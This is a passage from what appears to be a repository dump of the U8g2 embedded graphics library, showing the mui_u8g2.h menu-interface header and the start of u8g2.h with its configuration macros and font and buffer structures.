u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui), MUI_U8G2_V_PADDING, element_cb(data, pos)+1);\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      if ( selection != NULL )\n        *selection = pos;\n      mui_SaveCursorPosition(ui, pos >= 255 ? 0 : pos);     // store the current cursor position, so that the user can jump back to the corresponding cursor position\n      mui_GotoFormAutoCursorPosition(ui, (uint8_t)element_cb(data, pos)[0]); \n      break;\n    default:\n      return mui_u8g2_u16_list_child_mse_common(ui, msg);\n  }\n  return 0;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/mui_u8g2.h",
    "content": "/*\n\n  mui_u8g2.h\n\n  Monochrome minimal user interface: Glue code between mui and u8g2.\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2021, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  Reference Manual:\n    https://github.com/olikraus/u8g2/wiki/muiref\n\n  MUIF_U8G2_LABEL()  \n    replacement for MUIF_LABEL(mui_u8g2_draw_text), \n    used by MUI_LABEL(x,y,\"text\")\n    Supports UTF8\n    \n  MUIF_U8G2_FONT_STYLE(n, font) \n    A special u8g2 style function, which replaces MUIF_STYLE, but restricts the style change to the\n    specific font argument (however, this should be good enough in most cases).\n    As usual, the style \"n\" can be activated with MUI_STYLE(n) in FDS.\n    Example:\n      muif_t muif_list[]  MUI_PROGMEM = {  \n          MUIF_U8G2_LABEL(),\n          MUIF_U8G2_FONT_STYLE(0, u8g2_font_5x8_tr) \n        };\n        fds_t fds[] MUI_PROGMEM  =\n        MUI_FORM(1)\n        MUI_STYLE(0)\n        MUI_LABEL(5,12, \"5x8 Font\")\n        ;\n\n    \n\n\n\n*/\n\n#ifndef MUI_U8G2_H\n#define MUI_U8G2_H\n\n#include \"mui.h\"\n\n/*==========================================*/\n/* C++ compatible */\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n#define MUI_U8G2_COMMA ,\n\ntypedef const char * (*mui_u8g2_get_list_element_cb)(void *data, uint16_t index);\ntypedef uint16_t (*mui_u8g2_get_list_count_cb)(void *data);\n\nstruct mui_u8g2_list_struct\n{\n  uint16_t *selection;\n  void *data;\n  mui_u8g2_get_list_element_cb get_list_element;\n  mui_u8g2_get_list_count_cb get_list_count;  \n} MUI_PROGMEM;\n\ntypedef const struct mui_u8g2_list_struct mui_u8g2_list_t;\n\n#if defined(__GNUC__) && defined(__AVR__)\n#  define mui_u8g2_list_get_selection_ptr(list)         ((uint16_t *)mui_pgm_wread(&((list)->selection)))\n#  define mui_u8g2_list_get_data_ptr(list)                ((void *)mui_pgm_wread(&((list)->data)))\n#  define mui_u8g2_list_get_element_cb(list)          ((mui_u8g2_get_list_element_cb)mui_pgm_wread(&((list)->get_list_element)))\n#  define mui_u8g2_list_get_count_cb(list)              ((mui_u8g2_get_list_count_cb)mui_pgm_wread(&((list)->get_list_count)))\n#else\n#  define mui_u8g2_list_get_selection_ptr(list)                 ((list)->selection)\n#  define mui_u8g2_list_get_data_ptr(list)                         ((list)->data)\n#  define mui_u8g2_list_get_element_cb(list)                   ((list)->get_list_element)\n#  define mui_u8g2_list_get_count_cb(list)                      ((list)->get_list_count)\n#endif\n\n\nstruct mui_u8g2_u8_min_max_struct\n{\n  uint8_t *value;\n  uint8_t min;\n  uint8_t max;\n} MUI_PROGMEM;\n\ntypedef const struct mui_u8g2_u8_min_max_struct mui_u8g2_u8_min_max_t;\n\n#if defined(__GNUC__) && defined(__AVR__)\n#  define mui_u8g2_u8mm_get_min(u8mm) mui_pgm_read(&((u8mm)->min))\n#  define mui_u8g2_u8mm_get_max(u8mm) mui_pgm_read(&((u8mm)->max))\n#  define mui_u8g2_u8mm_get_valptr(u8mm) ((uint8_t *)mui_pgm_wread(&((u8mm)->value)))\n#else\n#  define mui_u8g2_u8mm_get_min(u8mm) ((u8mm)->min)\n#  define mui_u8g2_u8mm_get_max(u8mm) ((u8mm)->max)\n#  define mui_u8g2_u8mm_get_valptr(u8mm) ((u8mm)->value)\n#endif\n\n\nstruct mui_u8g2_u8_min_max_step_struct\n{\n  uint8_t *value;\n  uint8_t min;\n  uint8_t max;\n  uint8_t step;\n  uint8_t flags;\n  uint8_t width;        // added with issue 2200, might not be used by all bar graph functions\n} MUI_PROGMEM;\n\ntypedef const struct mui_u8g2_u8_min_max_step_struct mui_u8g2_u8_min_max_step_t;\n\n/* list of bit values for the \"flags\" variable */\n#define MUI_MMS_2X_BAR 0x01\n#define MUI_MMS_4X_BAR 0x02\n#define MUI_MMS_SHOW_VALUE 0x04\n#define MUI_MMS_NO_WRAP 0x08\n\n#if defined(__GNUC__) && defined(__AVR__)\n#  define mui_u8g2_u8mms_get_width(u8mm) mui_pgm_read(&((u8mm)->width))\n#  define mui_u8g2_u8mms_get_step(u8mm) mui_pgm_read(&((u8mm)->step))\n#  define mui_u8g2_u8mms_get_flags(u8mm) mui_pgm_read(&((u8mm)->flags))\n#  define mui_u8g2_u8mms_get_min(u8mm) mui_pgm_read(&((u8mm)->min))\n#  define mui_u8g2_u8mms_get_max(u8mm) mui_pgm_read(&((u8mm)->max))\n#  define mui_u8g2_u8mms_get_valptr(u8mm) ((uint8_t *)mui_pgm_wread(&((u8mm)->value)))\n#else\n#  define mui_u8g2_u8mms_get_width(u8mm) ((u8mm)->width)\n#  define mui_u8g2_u8mms_get_step(u8mm) ((u8mm)->step)\n#  define mui_u8g2_u8mms_get_flags(u8mm) ((u8mm)->flags)\n#  define mui_u8g2_u8mms_get_min(u8mm) ((u8mm)->min)\n#  define mui_u8g2_u8mms_get_max(u8mm) ((u8mm)->max)\n#  define mui_u8g2_u8mms_get_valptr(u8mm) ((u8mm)->value)\n#endif\n\n\n\n\n/* helper functions */\n\nu8g2_uint_t mui_get_x(mui_t *ui);\nu8g2_uint_t mui_get_y(mui_t *ui);\nu8g2_t *mui_get_U8g2(mui_t *ui);\n\nvoid mui_u8g2_draw_button_utf(mui_t *ui, u8g2_uint_t flags, u8g2_uint_t width, u8g2_uint_t padding_h, u8g2_uint_t padding_v, const char *text);\nu8g2_uint_t mui_u8g2_get_pi_flags(mui_t *ui);\nvoid mui_u8g2_draw_button_pi(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text);\nu8g2_uint_t mui_u8g2_get_fi_flags(mui_t *ui);\nvoid mui_u8g2_draw_button_fi(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text);\nu8g2_uint_t mui_u8g2_get_pf_flags(mui_t *ui);\nvoid mui_u8g2_draw_button_pf(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text);\nu8g2_uint_t mui_u8g2_get_if_flags(mui_t *ui);\nvoid mui_u8g2_draw_button_if(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text);\n\n\n\n/* ready to use field functions */\n\nuint8_t mui_u8g2_draw_text(mui_t *ui, uint8_t msg);\nuint8_t mui_u8g2_btn_goto_wm_fi(mui_t *ui, uint8_t msg);        /* GIF */\nuint8_t mui_u8g2_btn_goto_wm_if(mui_t *ui, uint8_t msg);\nuint8_t mui_u8g2_btn_goto_w2_fi(mui_t *ui, uint8_t msg);         /* GIF */\nuint8_t mui_u8g2_btn_goto_w2_if(mui_t *ui, uint8_t msg);\n\nuint8_t mui_u8g2_btn_goto_w1_pi(mui_t *ui, uint8_t msg);        /* GIF */\nuint8_t mui_u8g2_btn_goto_w1_fi(mui_t *ui, uint8_t msg);        /* GIF */\n\nuint8_t mui_u8g2_btn_exit_wm_fi(mui_t *ui, uint8_t msg);        /* similar to 'mui_u8g2_btn_goto_wm_fi' but will exit the menu system */\n\nuint8_t mui_u8g2_u8_chkbox_wm_pi(mui_t *ui, uint8_t msg);       /* GIF, MUIF_VARIABLE, MUI_XY */\nuint8_t mui_u8g2_u8_radio_wm_pi(mui_t *ui, uint8_t msg);        /* GIF, MUIF_VARIABLE,MUI_XYAT */\n\n\n\nuint8_t mui_u8g2_u8_opt_line_wa_mse_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_VARIABLE,MUI_XYAT */\nuint8_t mui_u8g2_u8_opt_line_wa_mse_pf(mui_t *ui, uint8_t msg); /* GIF, MUIF_VARIABLE,MUI_XYAT */\nuint8_t mui_u8g2_u8_opt_line_wa_mud_pi(mui_t *ui, uint8_t msg); /* GIF, MUIF_VARIABLE,MUI_XYAT */\nuint8_t mui_u8g2_u8_opt_line_wa_mud_pf(mui_t *ui, uint8_t msg); /* GIF, MUIF_VARIABLE,MUI_XYAT */\n\n/* dropdown list / combo box */\n/* The text part of the parent defines a '|' separated list of elements, which can be selected by the child. */\n/* Argument is a form number where the child element is placed multiple times */ \n/* The child form does not require the ok button, because the child function will return to the parent with the select element */\nuint8_t mui_u8g2_u8_opt_parent_wm_pi(mui_t *ui, uint8_t msg);       /* GIF, MUIF_VARIABLE, MUI_XYAT */\nuint8_t mui_u8g2_u8_opt_radio_child_wm_pi(mui_t *ui, uint8_t msg);        /* GIF, MUIF_VARIABLE, MUI_XYA */\nuint8_t mui_u8g2_u8_opt_radio_child_w1_pi(mui_t *ui, uint8_t msg);          /* GIF, MUIF_VARIABLE, MUI_XYA */\nuint8_t mui_u8g2_u8_opt_child_wm_pi(mui_t *ui, uint8_t msg);                /* MUIF_VARIABLE, MUI_XYA */ \n/* Note: there is no opt_child_goto muif, because this can be done with mui_u8g2_goto_form_w1_pi */\n\n/* (scrollable) jump menu */\n/* The text part of the parent defines a '|' separated list of elements, which can be selected goto_form functions. */\n/* Each '|' separated element must be prefixed with the form number (MUI_x) */\nuint8_t mui_u8g2_goto_data(mui_t *ui, uint8_t msg);                        /* REF, MUIF_RO, MUI_DATA (WARNING: Must appear only once per form!!! */\nuint8_t mui_u8g2_goto_form_w1_pi(mui_t *ui, uint8_t msg);          /* REF, MUIF_BUTTON, MUI_XYA */\nuint8_t mui_u8g2_goto_form_w1_pf(mui_t *ui, uint8_t msg);           /* REF, MUIF_BUTTON, MUI_XYA */\n\n\n/* character input */\nuint8_t mui_u8g2_u8_char_wm_mud_pi(mui_t *ui, uint8_t msg);     /* GIF, MUIF_VARIABLE,MUI_XY, usually requires a monospaced font line profont12 */\n\n\n/*===== MUIF U8g2 Label  =====*/\n\n#define MUIF_U8G2_LABEL()  MUIF_LABEL(mui_u8g2_draw_text)\n\n\n/*===== data = u8g2 font data  =====*/\n\n//#define MUIF_U8G2_FONT_STYLE(n,font)  MUIF(\"S\" #n, 0, (void *)(font), mui_u8g2_set_font_style_function) \n#define MUIF_U8G2_FONT_STYLE(n, font) { 'S', #n[0], 0, 0, (void *)(font), mui_u8g2_set_font_style_function} \n\n\nuint8_t mui_u8g2_set_font_style_function(mui_t *ui, uint8_t msg);\n\n\n/*===== data = mui_u8g2_u8_min_max_t*  =====*/\n\n/* gcc note: the macro uses array compound literals to extend the lifetime in C++, see last section in https://gcc.gnu.org/onlinedocs/gcc/Compound-Literals.html */\n#define MUIF_U8G2_U8_MIN_MAX(id, valptr, min, max, muif) \\\n  MUIF(id, MUIF_CFLAG_IS_CURSOR_SELECTABLE,  \\\n  (void *)((mui_u8g2_u8_min_max_t [] ) {{ (valptr) MUI_U8G2_COMMA (min) MUI_U8G2_COMMA (max)}}), \\\n  (muif))\n\nuint8_t mui_u8g2_u8_min_max_wm_mse_pi(mui_t *ui, uint8_t msg);   /* GIF, MUIF_U8G2_U8_MIN_MAX, MUI_XY */\nuint8_t mui_u8g2_u8_min_max_wm_mud_pi(mui_t *ui, uint8_t msg);  /* GIF, MUIF_U8G2_U8_MIN_MAX, MUI_XY */\n\nuint8_t mui_u8g2_u8_min_max_wm_mse_pf(mui_t *ui, uint8_t msg);  /* GIF, MUIF_U8G2_U8_MIN_MAX, MUI_XY */\nuint8_t mui_u8g2_u8_min_max_wm_mud_pf(mui_t *ui, uint8_t msg);  /* GIF, MUIF_U8G2_U8_MIN_MAX, MUI_XY */\n\n/*===== data = mui_u8g2_u8_min_max_step_t*  =====*/\n\n/* gcc note: the macro uses array compound literals to extend the lifetime in C++, see last section in https://gcc.gnu.org/onlinedocs/gcc/Compound-Literals.html */\n#define MUIF_U8G2_U8_MIN_MAX_STEP(id, valptr, min, max, step, flags, muif) \\\n  MUIF(id, MUIF_CFLAG_IS_CURSOR_SELECTABLE,  \\\n  (void *)((mui_u8g2_u8_min_max_step_t [] ) {{ (valptr) MUI_U8G2_COMMA (min) MUI_U8G2_COMMA (max) MUI_U8G2_COMMA (step) MUI_U8G2_COMMA (flags) MUI_U8G2_COMMA (0) }}), \\\n  (muif))\n  \n\nuint8_t mui_u8g2_u8_bar_wm_mse_pi(mui_t *ui, uint8_t msg);\nuint8_t mui_u8g2_u8_bar_wm_mud_pi(mui_t *ui, uint8_t msg);\nuint8_t mui_u8g2_u8_bar_wm_mse_pf(mui_t *ui, uint8_t msg);\nuint8_t mui_u8g2_u8_bar_wm_mud_pf(mui_t *ui, uint8_t msg);\n\n\n#define MUIF_U8G2_U8_MIN_MAX_STEP_WIDTH(id, valptr, min, max, step, width, flags, muif) \\\n  MUIF(id, MUIF_CFLAG_IS_CURSOR_SELECTABLE,  \\\n  (void *)((mui_u8g2_u8_min_max_step_t [] ) {{ (valptr) MUI_U8G2_COMMA (min) MUI_U8G2_COMMA (max) MUI_U8G2_COMMA (step) MUI_U8G2_COMMA (flags) MUI_U8G2_COMMA (width) }}), \\\n  (muif))\n  \n\nuint8_t mui_u8g2_u8_fixed_width_bar_wm_mse_pi(mui_t *ui, uint8_t msg);\nuint8_t mui_u8g2_u8_fixed_width_bar_wm_mud_pi(mui_t *ui, uint8_t msg);\nuint8_t mui_u8g2_u8_fixed_width_bar_wm_mse_pf(mui_t *ui, uint8_t msg);\nuint8_t mui_u8g2_u8_fixed_width_bar_wm_mud_pf(mui_t *ui, uint8_t msg);\n\n\n\n/*===== data = mui_u8g2_list_t*  =====*/\n/* similar to mui_u8g2_u8_opt_line, but u16 and dynamic list */\n\n\n#define MUIF_U8G2_U16_LIST(id, valptr, dataptr, getcb, cntcb, muif) \\\n  MUIF(id, MUIF_CFLAG_IS_CURSOR_SELECTABLE,  \\\n  (void *)((mui_u8g2_list_t [] ) {{ (valptr) MUI_U8G2_COMMA (dataptr) MUI_U8G2_COMMA (getcb) MUI_U8G2_COMMA (cntcb)}}), \\\n  (muif))\n  \nuint8_t mui_u8g2_u16_list_line_wa_mse_pi(mui_t *ui, uint8_t msg);       /* GIF, MUIF_U8G2_U16_LIST, MUI_XYA, arg=pixel fieldsize */\nuint8_t mui_u8g2_u16_list_line_wa_mud_pi(mui_t *ui, uint8_t msg);       /* GIF, MUIF_U8G2_U16_LIST, MUI_XYA, arg=pixel fieldsize */\n\n\n/* dropdown list / combo box with 16 size and callback functions for MUIF_U8G2_U16_LIST */\nuint8_t mui_u8g2_u16_list_parent_wm_pi(mui_t *ui, uint8_t msg);     /* GIF, MUIF_U8G2_U16_LIST, MUI_XYA, arg=subform */\nuint8_t mui_u8g2_u16_list_child_w1_pi(mui_t *ui, uint8_t msg);      /* GIF, MUIF_U8G2_U16_LIST, MUI_XYA, arg=sub element number */\nuint8_t mui_u8g2_u16_list_goto_w1_pi(mui_t *ui, uint8_t msg);               /* REF, MUIF_U8G2_U16_LIST first char of the string denotes the target form */\n\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif /* MUI_U8G2_H */\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2.h",
    "content": "/*\n\n  u8g2.h\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  call sequence\n  \n  u8g2_SetupBuffer_XYZ\n    u8x8_Setup_XYZ\n      u8x8_SetupDefaults(u8g2);\n      assign u8x8 callbacks\n      u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_SETUP_MEMORY, 0, NULL);  \n    setup tile buffer\n    \n  \n  Arduino Uno Text Example\n>\tFONT_ROTATION\tINTERSECTION\tCLIPPING\ttext\t   \tdata\t\tbss\t\tdec\t\thex\t\n>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t8700\n>\tx\t\t\t\tx\t\t\t\tx\t\t\t7450\t104\t\t1116\t8670\t21de\n>\t-\t\t\t\tx\t\t\t\tx\t\t\t7132\t104\t\t1115\t8351\t209f\n>\tx\t\t\t\t-\t\t\t\tx\t\t\t7230\t104\t\t1116\t8450\t2102\n>\t-\t\t\t\t-\t\t\t\tx\t\t\t7010\t104\t\t1115\t8229\t2025\n>\t-\t\t\t\t-\t\t\t\t-\t\t\t6880\t104\t\t1115\t8099\t1fa3\n  \n  \n*/\n\n\n#ifndef U8G2_H\n#define U8G2_H\n\n#include \"u8x8.h\"\n\n/*\n  The following macro enables 16 Bit mode. \n  Without defining this macro all calculations are done with 8 Bit (1 Byte) variables.\n  Especially on AVR architecture, this will save some space. \n  If this macro is defined, then U8g2 will switch to 16 Bit mode.\n  Use 16 Bit mode for any display with more than 240 pixel in one \n  direction.\n*/\n#define U8G2_16BIT\n\n\n/* always enable U8G2_16BIT on 32bit environments, see issue https://github.com/olikraus/u8g2/issues/1222 */\n#ifndef U8G2_16BIT\n#if defined(unix) || defined(__unix__) || defined(__arm__) || defined(__xtensa__) || defined(xtensa) || defined(__arc__) || defined(ESP8266) || defined(ESP_PLATFORM) || defined(__LUATOS__)\n#define U8G2_16BIT\n#endif\n#endif\n\n/*\n  The following macro switches the library into dynamic display buffer allocation mode.\n  Defining this constant will disable all static memory allocation for device memory buffer and thus allows the user to allocate device buffers statically.\n  Before using any display functions, the dynamic buffer *must* be assigned to the u8g2 struct using the u8g2_SetBufferPtr function.\n  When using dynamic allocation, the stack size must be increased by u8g2_GetBufferSize bytes.\n */\n//#define U8G2_USE_DYNAMIC_ALLOC\n\n/* U8g2 feature selection, see also https://github.com/olikraus/u8g2/wiki/u8g2optimization */\n\n/*\n  The following macro enables the HVLine speed optimization.\n  It will consume about 40 bytes more in flash memory of the AVR.\n  HVLine procedures are also used by the text drawing functions.\n*/\n#ifndef U8G2_WITHOUT_HVLINE_SPEED_OPTIMIZATION\n#define U8G2_WITH_HVLINE_SPEED_OPTIMIZATION\n#endif\n\n/*\n  The following macro activates the early intersection check with the current visible area.\n  Clipping (and low level intersection calculation) will still happen and is controlled by U8G2_WITH_CLIPPING.\n  This early intersection check only improves speed for the picture loop (u8g2_FirstPage/NextPage).\n  With a full framebuffer in RAM and if most graphical elements are drawn within the visible area, then this\n  macro can be commented to reduce code size.\n*/\n#ifndef U8G2_WITHOUT_INTERSECTION\n#define U8G2_WITH_INTERSECTION\n#endif\n\n\n/*\n  Enable clip window support:\n    void u8g2_SetMaxClipWindow(u8g2_t *u8g2)\n    void u8g2_SetClipWindow(u8g2_t *u8g2, u8g2_uint_t clip_x0, u8g2_uint_t clip_y0, u8g2_uint_t clip_x1, u8g2_uint_t clip_y1 )\n  Setting a clip window will restrict all drawing to this window.\n  Clip window support requires about 200 bytes flash memory on AVR systems\n*/\n#ifndef U8G2_WITHOUT_CLIP_WINDOW_SUPPORT\n#define U8G2_WITH_CLIP_WINDOW_SUPPORT\n#endif\n\n/*\n  The following macro enables all four drawing directions for glyphs and strings.\n  If this macro is not defined, than a string can be drawn only in horizontal direction.\n  \n  Jan 2020: Disabling this macro will save up to 600 bytes on AVR \n*/\n#ifndef U8G2_WITHOUT_FONT_ROTATION\n#define U8G2_WITH_FONT_ROTATION\n#endif\n\n/*\n  U8glib V2 contains support for unicode plane 0 (Basic Multilingual Plane, BMP).\n  The following macro activates this support. Deactivation would save some ROM.\n  This definition also defines the behavior of the expected string encoding.\n  If the following macro is defined, then the DrawUTF8 function is enabled and \n  the string argument for this function is assumed \n  to be UTF-8 encoded.\n  If the following macro is not defined, then all strings in the c-code are assumed \n  to be ISO 8859-1/CP1252 encoded. \n  Independently from this macro, the Arduino print function never accepts UTF-8\n  strings.\n  \n  This macro does not affect the u8x8 string draw function.\n  u8x8 has also two function, one for pure strings and one for UTF8\n  \n  Conclusion:\n    U8G2_WITH_UNICODE defined\n      - C-Code Strings must be UTF-8 encoded\n      - Full support of all 65536 glyphs of the unicode basic multilingual plane\n      - Up to 65536 glyphs of the font file can be used.\n    U8G2_WITH_UNICODE not defined\n      - C-Code Strings are assumbed to be ISO 8859-1/CP1252 encoded\n      - Only character values 0 to 255 are supported in the font file.\n*/\n#ifndef U8G2_WITHOUT_UNICODE\n#define U8G2_WITH_UNICODE\n#endif\n\n\n/*\n  See issue https://github.com/olikraus/u8g2/issues/1561\n  The old behaviour of the StrWidth and UTF8Width functions returned an unbalanced string width, where\n  a small space was added to the left but not to the right of the string in some cases.\n  The new \"balanced\" procedure will assume the same gap on the left and the right side of the string\n  \n  Example: The string width of \"C\" with font u8g2_font_helvR08_tr was returned as 7.\n  A frame of width 9 would place the C a little bit more to the right (width of that \"C\" are 6 pixel).\n  If U8G2_BALANCED_STR_WIDTH_CALCULATION is defined, the width of \"C\" is returned as 8.\n  \n  Not defining U8G2_BALANCED_STR_WIDTH_CALCULATION would fall back to the old behavior.\n*/\n#ifndef U8G2_NO_BALANCED_STR_WIDTH_CALCULATION \n#define U8G2_BALANCED_STR_WIDTH_CALCULATION\n#endif\n\n\n/*==========================================*/\n\n\n#ifdef __GNUC__\n#  define U8G2_NOINLINE __attribute__((noinline))\n#else\n#  define U8G2_NOINLINE\n#endif\n\n#define U8G2_FONT_SECTION(name) U8X8_FONT_SECTION(name) \n\n\n/* the macro U8G2_USE_LARGE_FONTS enables large fonts (>32K) */\n/* it can be enabled for those uC supporting larger arrays */\n#if defined(unix) || defined(__unix__) || defined(__arm__) || defined(__arc__) || defined(ESP8266) || defined(ESP_PLATFORM) || defined(__LUATOS__)\n#ifndef U8G2_USE_LARGE_FONTS\n#define U8G2_USE_LARGE_FONTS\n#endif \n#endif\n\n/*==========================================*/\n/* C++ compatible */\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/*==========================================*/\n\n#ifdef U8G2_16BIT\ntypedef uint16_t u8g2_uint_t;\t/* for pixel position only */\ntypedef int16_t u8g2_int_t;\t\t/* introduced for circle calculation */\ntypedef int32_t u8g2_long_t;\t\t/* introduced for ellipse calculation */\n#else\ntypedef uint8_t u8g2_uint_t;\t\t/* for pixel position only */\ntypedef int8_t u8g2_int_t;\t\t/* introduced for circle calculation */\ntypedef int16_t u8g2_long_t;\t\t/* introduced for ellipse calculation */\n#endif\n\n\ntypedef struct u8g2_struct u8g2_t;\ntypedef struct u8g2_cb_struct u8g2_cb_t;\n\ntypedef void (*u8g2_update_dimension_cb)(u8g2_t *u8g2);\ntypedef void (*u8g2_update_page_win_cb)(u8g2_t *u8g2);\ntypedef void (*u8g2_draw_l90_cb)(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir);\ntypedef void (*u8g2_draw_ll_hvline_cb)(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir);\n\ntypedef uint8_t (*u8g2_get_kerning_cb)(u8g2_t *u8g2, uint16_t e1, uint16_t e2);\n\n\n/* from ucglib... */\nstruct _u8g2_font_info_t\n{\n  /* offset 0 */\n  uint8_t glyph_cnt;\n  uint8_t bbx_mode;\n  uint8_t bits_per_0;\n  uint8_t bits_per_1;\n  \n  /* offset 4 */\n  uint8_t bits_per_char_width;\n  uint8_t bits_per_char_height;\t\t\n  uint8_t bits_per_char_x;\n  uint8_t bits_per_char_y;\n  uint8_t bits_per_delta_x;\n  \n  /* offset 9 */\n  int8_t max_char_width;\n  int8_t max_char_height; /* overall height, NOT ascent. Instead ascent = max_char_height + y_offset */\n  int8_t x_offset;\n  int8_t y_offset;\n  \n  /* offset 13 */\n  int8_t  ascent_A;\n  int8_t  descent_g;\t/* usually a negative value */\n  int8_t  ascent_para;\n  int8_t  descent_para;\n    \n  /* offset 17 */\n  uint16_t start_pos_upper_A;\n  uint16_t start_pos_lower_a; \n  \n  /* offset 21 */\n#ifdef U8G2_WITH_UNICODE  \n  uint16_t start_pos_unicode;\n#endif\n};\ntypedef struct _u8g2_font_info_t u8g2_font_info_t;\n\n/* from ucglib... */\nstruct _u8g2_font_decode_t\n{\n  const uint8_t *decode_ptr;\t\t\t/* pointer to the compressed data */\n  \n  u8g2_uint_t target_x;\n  u8g2_uint_t target_y;\n  \n  int8_t x;\t\t\t\t\t\t/* local coordinates, (0,0) is upper left */\n  int8_t y;\n  int8_t glyph_width;\t\n  int8_t glyph_height;\n\n  uint8_t decode_bit_pos;\t\t\t/* bitpos inside a byte of the compressed data */\n  uint8_t is_transparent;\n  uint8_t fg_color;\n  uint8_t bg_color;\n#ifdef U8G2_WITH_FONT_ROTATION  \n  uint8_t dir;\t\t\t\t/* direction */\n#endif\n};\ntypedef struct _u8g2_font_decode_t u8g2_font_decode_t;\n\nstruct _u8g2_kerning_t\n{\n  uint16_t first_table_cnt;\n  uint16_t second_table_cnt;\n  const uint16_t *first_encoding_table;  \n  const uint16_t *index_to_second_table;\n  const uint16_t *second_encoding_table;\n  const uint8_t *kerning_values;\n};\ntypedef struct _u8g2_kerning_t u8g2_kerning_t;\n\n\nstruct u8g2_cb_struct\n{\n  u8g2_update_dimension_cb update_dimension;\n  u8g2_update_page_win_cb update_page_win;\n  u8g2_draw_l90_cb draw_l90;\n};\n\ntypedef u8g2_uint_t (*u8g2_font_calc_vref_fnptr)(u8g2_t *u8g2);\n\n\nstruct u8g2_struct\n{\n  u8x8_t u8x8;\n  u8g2_draw_ll_hvline_cb ll_hvline;\t/* low level hvline procedure */\n  const u8g2_cb_t *cb;\t\t/* callback drawprocedures, can be replaced for rotation */\n  \n  /* the following variables must be assigned during u8g2 setup */\n  uint8_t *tile_buf_ptr;\t/* ptr to memory area with u8x8.display_info->tile_width * 8 * tile_buf_height bytes */\n  uint8_t tile_buf_height;\t/* height of the tile memory area in tile rows */\n  uint8_t tile_curr_row;\t/* current row for picture loop */\n  \n  /* dimension of the buffer in pixel */\n  u8g2_uint_t pixel_buf_width;\t\t/* equal to tile_buf_width*8 */\n  u8g2_uint_t pixel_buf_height;\t\t/* tile_buf_height*8 */\n  u8g2_uint_t pixel_curr_row;\t\t/* u8g2.tile_curr_row*8 */\n  \n  /* the following variables are set by the update dimension callback */\n  /* this is the clipbox after rotation for the hvline procedures */\n  //u8g2_uint_t buf_x0;\t/* left corner of the buffer */\n  //u8g2_uint_t buf_x1;\t/* right corner of the buffer (excluded) */\n  u8g2_uint_t buf_y0;\n  u8g2_uint_t buf_y1;\n  \n  /* display dimensions in pixel for the user, calculated in u8g2_update_dimension_common()  */\n  u8g2_uint_t width;\n  